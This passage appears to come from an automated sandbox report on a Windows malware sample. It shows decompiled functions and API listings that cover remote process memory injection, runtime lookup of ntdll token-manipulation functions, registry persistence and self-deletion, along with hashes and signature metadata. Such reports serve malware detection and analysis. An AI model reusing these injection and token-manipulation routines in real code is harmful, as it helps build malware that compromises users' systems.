							if(WriteProcessMemory(_a8, _t37, _v8, _t26, 0) != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,?), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,?), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 006365CC, Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 006365DF
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 006365F9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 0063661A
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 0063663B

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction ID: f169e52d70484c1620bacf1aeb23e03c3be321edcb9194012c069dba853e96ac
Opcode Fuzzy Hash: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction Fuzzy Hash: 98115171600218BFDB615F65DC4AF9B3FA9EB057A9F118024F909A6290DBB1DD0086A4

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004088B0(intOrPtr _a4) {
				intOrPtr _t98;
				void* _t99;
				intOrPtr _t101;

				_t101 = _a4;
				E0040EE2A(_t99, _t101, 0, 0x3e0);
				 *((intOrPtr*)(_t101 + 0xc0)) = __imp__#19;
				 *((intOrPtr*)(_t101 + 0xc4)) = __imp__#16;
				 *((intOrPtr*)(_t101 + 0xc8)) = __imp__#23;
				 *((intOrPtr*)(_t101 + 0xcc)) = __imp__#4;
				 *((intOrPtr*)(_t101 + 0xd0)) = __imp__#3;
				 *((intOrPtr*)(_t101 + 0xd4)) = __imp__#21;
				 *((intOrPtr*)(_t101 + 0xd8)) = __imp__#2;
				 *((intOrPtr*)(_t101 + 0xdc)) = __imp__#13;
				 *((intOrPtr*)(_t101 + 0xe0)) = __imp__#1;
				 *((intOrPtr*)(_t101 + 0xe4)) = __imp__#18;
				 *((intOrPtr*)(_t101 + 0xe8)) = __imp__#5;
				_t98 = __imp__#6;
				 *((intOrPtr*)(_t101 + 0x10)) = E00404861;
				 *((intOrPtr*)(_t101 + 0x14)) = E00405B84;
				 *((intOrPtr*)(_t101 + 0x18)) = E00404EF2;
				 *((intOrPtr*)(_t101 + 8)) = 0;
				 *((intOrPtr*)(_t101 + 0xc)) = 0;
				 *((intOrPtr*)(_t101 + 0x1c)) = E004038F0;
				 *((intOrPtr*)(_t101 + 0x20)) = E0040384F;
				 *((intOrPtr*)(_t101 + 0x134)) = E004035A5;
				 *((intOrPtr*)(_t101 + 0x24)) = E00408EC5;
				 *((intOrPtr*)(_t101 + 0x28)) = E00408EFA;
				 *((intOrPtr*)(_t101 + 0x2c)) = E00408F28;
				 *((intOrPtr*)(_t101 + 0x30)) = E00408F53;
				 *((intOrPtr*)(_t101 + 0x34)) = E004022B9;
				 *((intOrPtr*)(_t101 + 0x38)) = E004025B4;
				 *((intOrPtr*)(_t101 + 0x3c)) = E00408F87;
				 *((intOrPtr*)(_t101 + 0x54)) = E0040AD89;
				 *((intOrPtr*)(_t101 + 0x58)) = E0040B211;
				 *((intOrPtr*)(_t101 + 0x5c)) = E0040AEDD;
				 *((intOrPtr*)(_t101 + 0x60)) = E0040F304;
				 *((intOrPtr*)(_t101 + 0x64)) = E0040F428;
				 *((intOrPtr*)(_t101 + 0x68)) = E0040F43E;
				 *((intOrPtr*)(_t101 + 0x6c)) = E0040F483;
				 *((intOrPtr*)(_t101 + 0x70)) = 0x412104;
				 *((intOrPtr*)(_t101 + 0x74)) = E0040F26D;
				 *((intOrPtr*)(_t101 + 0x78)) = E0040F315;
				 *((intOrPtr*)(_t101 + 0x7c)) = E0040E52E;
				 *((intOrPtr*)(_t101 + 0x80)) = E0040E318;
				 *((intOrPtr*)(_t101 + 0x84)) = E0040EAAF;
				 *((intOrPtr*)(_t101 + 0x88)) = E0040E7B4;
				 *((intOrPtr*)(_t101 + 0x8c)) = E0040DD05;
				 *((intOrPtr*)(_t101 + 0x90)) = E0040E7FF;
				 *((intOrPtr*)(_t101 + 0x94)) = E0040DD69;
				 *((intOrPtr*)(_t101 + 0x98)) = E0040E819;
				 *((intOrPtr*)(_t101 + 0x9c)) = E0040E854;
				 *((intOrPtr*)(_t101 + 0xa0)) = E0040E8A1;
				 *((intOrPtr*)(_t101 + 0xa4)) = E0040EA84;
				 *((intOrPtr*)(_t101 + 0xa8)) = E0040DF4C;
				 *((intOrPtr*)(_t101 + 0xac)) = E0040DF70;
				 *((intOrPtr*)(_t101 + 0xb0)) = E0040E654;
				 *((intOrPtr*)(_t101 + 0xb4)) = E0040E749;
				 *((intOrPtr*)(_t101 + 0xb8)) = E004030B5;
				 *((intOrPtr*)(_t101 + 0xbc)) = 0;
				 *((intOrPtr*)(_t101 + 0xec)) = _t98;
				 *((intOrPtr*)(_t101 + 0xf0)) = E00402684;
				 *((intOrPtr*)(_t101 + 0xf4)) = E004026B2;
				 *((intOrPtr*)(_t101 + 0xf8)) = E00402EF8;
				 *((intOrPtr*)(_t101 + 0xfc)) = E00402F22;
				 *((intOrPtr*)(_t101 + 0x100)) = 0;
				 *((intOrPtr*)(_t101 + 0x104)) = 0;
				 *((intOrPtr*)(_t101 + 0x108)) = 0;
				 *((intOrPtr*)(_t101 + 0x10c)) = 0;
				 *((intOrPtr*)(_t101 + 0x110)) = 0;
				 *((intOrPtr*)(_t101 + 0x114)) = E0040A7C1;
				 *((intOrPtr*)(_t101 + 0x118)) = E00401FEB;
				 *((intOrPtr*)(_t101 + 0x11c)) = 0x401ffe;
				 *((intOrPtr*)(_t101 + 0x138)) = E00406509;
				 *((intOrPtr*)(_t101 + 0x140)) = E00405D34;
				 *((intOrPtr*)(_t101 + 0x144)) = E00405C05;
				 *((intOrPtr*)(_t101 + 0x148)) = E00405D93;
				 *((intOrPtr*)(_t101 + 0x14c)) = E00405E37;
				 *((intOrPtr*)(_t101 + 0x150)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x154)) = E00405E21;
				 *((intOrPtr*)(_t101 + 0x158)) = E00405CE1;
				 *((intOrPtr*)(_t101 + 0x15c)) = E00405DED;
				 *((intOrPtr*)(_t101 + 0x160)) = E00404EFD;
				 *((intOrPtr*)(_t101 + 0x164)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x168)) = E0040488C;
				 *((intOrPtr*)(_t101 + 0x174)) = E00404F13;
				 *((intOrPtr*)(_t101 + 0x178)) = E00404F50;
				 *((intOrPtr*)(_t101 + 0x17c)) = E004082BB;
				 *((intOrPtr*)(_t101 + 0x180)) = E004082C1;
				 *((intOrPtr*)(_t101 + 0x184)) = 0x4082c7;
				 *((intOrPtr*)(_t101 + 0x188)) = 0x408308;
				return _t98;
			}

0x004088b1
0x004088bf
0x004088c9
0x004088d4
0x004088df
0x004088ea
0x004088f5
0x00408900
0x0040890b
0x00408916
0x00408921
0x0040892c
0x00408937
0x0040893d
0x00408945
0x0040894c
0x00408953
0x0040895a
0x0040895d
0x00408960
0x00408967
0x0040896e
0x00408978
0x0040897f
0x00408986
0x0040898d
0x00408994
0x0040899b
0x004089a2
0x004089a9
0x004089b0
0x004089b7
0x004089be
0x004089c5
0x004089cc
0x004089d3
0x004089da
0x004089e1
0x004089e8
0x004089ef
0x004089f6
0x00408a00
0x00408a0a
0x00408a14
0x00408a1e
0x00408a28
0x00408a32
0x00408a3c
0x00408a46
0x00408a50
0x00408a5a
0x00408a64
0x00408a6e
0x00408a78
0x00408a82
0x00408a8c
0x00408a92
0x00408a98
0x00408aa2
0x00408aac
0x00408ab6
0x00408ac0
0x00408ac6
0x00408acc
0x00408ad2
0x00408ad8
0x00408adf
0x00408ae9
0x00408af3
0x00408afd
0x00408b07
0x00408b11
0x00408b1b
0x00408b25
0x00408b2f
0x00408b39
0x00408b43
0x00408b4d
0x00408b57
0x00408b61
0x00408b6b
0x00408b75
0x00408b7f
0x00408b89
0x00408b93
0x00408b9d
0x00408ba7
0x00408bb2

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00639E89, Relevance: 59.9, APIs: 28, Strings: 6, Instructions: 421stringregistryfileCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00639E56
lstrcpy.KERNEL32(?,00000000), ref: 00639FCA
lstrcat.KERNEL32(?,?), ref: 00639FDB
lstrcat.KERNEL32(?,0041070C), ref: 00639FED
GetFileAttributesExA.KERNEL32(?,?,?), ref: 0063A03D
DeleteFileA.KERNEL32(?), ref: 0063A088
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 0063A0BF
lstrcpy.KERNEL32 ref: 0063A118
lstrlen.KERNEL32(00000022), ref: 0063A125
GetTempPathA.KERNEL32(000001F4,?), ref: 00639EFC

Part of subcall function 00637012: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000), ref: 0063706A

Part of subcall function 00636F19: GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\wywzeddt,0063702C), ref: 00636F37
Part of subcall function 00636F19: GetProcAddress.KERNEL32(00000000), ref: 00636F3E
Part of subcall function 00636F19: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00636F64
Part of subcall function 00636F19: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00636F7B

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,?,00000103,?,?,?,?), ref: 0063A18B
RegSetValueExA.ADVAPI32(?,00000001,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0063A1AE
GetModuleHandleA.KERNEL32(?,?,00000104,?,?,00000010,?,?,00000044,?,?,?,?,?,?,00000103), ref: 0063A1FD
GetModuleFileNameA.KERNEL32(00000000,?,?,00000104,?,?,00000010,?,?,00000044), ref: 0063A204
GetDriveTypeA.KERNEL32(?), ref: 0063A24E
lstrcat.KERNEL32(?,00000000), ref: 0063A288
lstrcat.KERNEL32(?,00410A34), ref: 0063A2AE
lstrcat.KERNEL32(?,00000022), ref: 0063A2C2
lstrcat.KERNEL32(?,00410A34), ref: 0063A2DD
wsprintfA.USER32 ref: 0063A306
lstrcat.KERNEL32(?,00000000), ref: 0063A32E
lstrcat.KERNEL32(?,?), ref: 0063A34D
CreateProcessA.KERNEL32(?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?,?,00000010), ref: 0063A370
DeleteFileA.KERNEL32(?,?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?), ref: 0063A381
RegCloseKey.ADVAPI32(?,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0063A1BA

Part of subcall function 0063994F: RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 00639986
Part of subcall function 0063994F: RegDeleteValueA.ADVAPI32(?,00000000), ref: 006399A6
Part of subcall function 0063994F: RegCloseKey.ADVAPI32(?), ref: 006399AF

GetModuleHandleA.KERNEL32(?,?,0000012C), ref: 0063A3C4
GetModuleFileNameA.KERNEL32(00000000,?,?,0000012C), ref: 0063A3CB
GetDriveTypeA.KERNEL32(00000022), ref: 0063A406

Strings

", xrefs: 0063A2C8
", xrefs: 0063A3D9
\, xrefs: 00639F5C
P, xrefs: 00639FFA
", xrefs: 0063A12B
D, xrefs: 0063A1DE

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: lstrcat$FileModule$DeleteHandle$CloseDirectoryDriveNameOpenProcessTypeValuelstrcpy$AddressAttributesCreateEnvironmentExitInformationPathProcSystemTempVariableVolumeWindowslstrlenwsprintf
String ID: "$"$"$D$P$\
API String ID: 1653845638-2605685093
Opcode ID: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction ID: 66c2905db3b66c5d65caeeed239d9cf6af91c4ce20aa179f477a14db16c0d6a7
Opcode Fuzzy Hash: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction Fuzzy Hash: EDF164B1C40259AFDF15DBA4CC49FEF77BDAB08304F0484A9F649E2141DBB58A848FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

RtlAllocateAndInitializeSid, xrefs: 0040120F
RtlSetLastWin32Error, xrefs: 004010D6
NtOpenProcessToken, xrefs: 004011D4
NtFilterToken, xrefs: 0040122B
RtlFreeSid, xrefs: 00401116
RtlInitUnicodeString, xrefs: 00401135
NtSetInformationThread, xrefs: 00401155
NtQueryInformationToken, xrefs: 00401262
ntdll.dll, xrefs: 0040100D
RtlNtStatusToDosError, xrefs: 00401194
NtClose, xrefs: 004011B4
NtSetInformationToken, xrefs: 00401175
NtTerminateProcess, xrefs: 004010F6
RtlLengthSid, xrefs: 00401246
NtDuplicateToken, xrefs: 004011F3
RtlExpandEnvironmentStrings_U, xrefs: 004010BC

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042C1DE, Relevance: 51.2, APIs: 24, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0042C222
_wcscat_s.LIBCMTD ref: 0042C43A

Part of subcall function 00431FC0: __invalid_parameter.LIBCMTD ref: 00432032

__invoke_watson_if_error.LIBCMTD ref: 0042C443

Part of subcall function 0041DD80: __invoke_watson.LIBCMTD ref: 0041DDA1

_wcscat_s.LIBCMTD ref: 0042C472

Part of subcall function 00431FC0: _memset.LIBCMT ref: 0043209B
Part of subcall function 00431FC0: __invalid_parameter.LIBCMTD ref: 004320F7

__invoke_watson_if_error.LIBCMTD ref: 0042C47B
__invoke_watson_if_oneof.LIBCMTD ref: 0042C50D
_wcscpy_s.LIBCMTD ref: 0042C552
__invoke_watson_if_error.LIBCMTD ref: 0042C55B
__cftoe.LIBCMTD ref: 0042C5CF
__invoke_watson_if_oneof.LIBCMTD ref: 0042C5FE
_wcscpy_s.LIBCMTD ref: 0042C636
__invoke_watson_if_error.LIBCMTD ref: 0042C63F
__itow_s.LIBCMTD ref: 0042C219

Part of subcall function 00436B50: _xtow_s@20.LIBCMTD ref: 00436B7B

__strftime_l.LIBCMTD ref: 0042C2D9
__invoke_watson_if_oneof.LIBCMTD ref: 0042C312
_wcscpy_s.LIBCMTD ref: 0042C357
__invoke_watson_if_error.LIBCMTD ref: 0042C360
_wcscpy_s.LIBCMTD ref: 0042C3B3
__invoke_watson_if_error.LIBCMTD ref: 0042C3BC
_wcscat_s.LIBCMTD ref: 0042C3ED
__invoke_watson_if_error.LIBCMTD ref: 0042C3F6

Strings

h`b@, xrefs: 0042C3D0
h`b@, xrefs: 0042C5E9
hh^@, xrefs: 0042C5EE
t9j, xrefs: 0042C865
t8j, xrefs: 0042C60D

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__strftime_l_memset_xtow_s@20
String ID: h`b@$h`b@$hh^@$t8j$t9j
API String ID: 2916338978-2251402083
Opcode ID: 80a4a9cd375bfd500a74c7e8e09d2fda7890147efd11b935c616049359aabc23
Instruction ID: 2b7a5b639f57da6b0f8679845d4ec32ee5c1795b72b6468da68e67e2bb1aeefa
Opcode Fuzzy Hash: 80a4a9cd375bfd500a74c7e8e09d2fda7890147efd11b935c616049359aabc23
Instruction Fuzzy Hash: 200293B5E40728ABDB20DF50DC46BDF7378AB04705F5081AAF5097A2C1D7B89A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
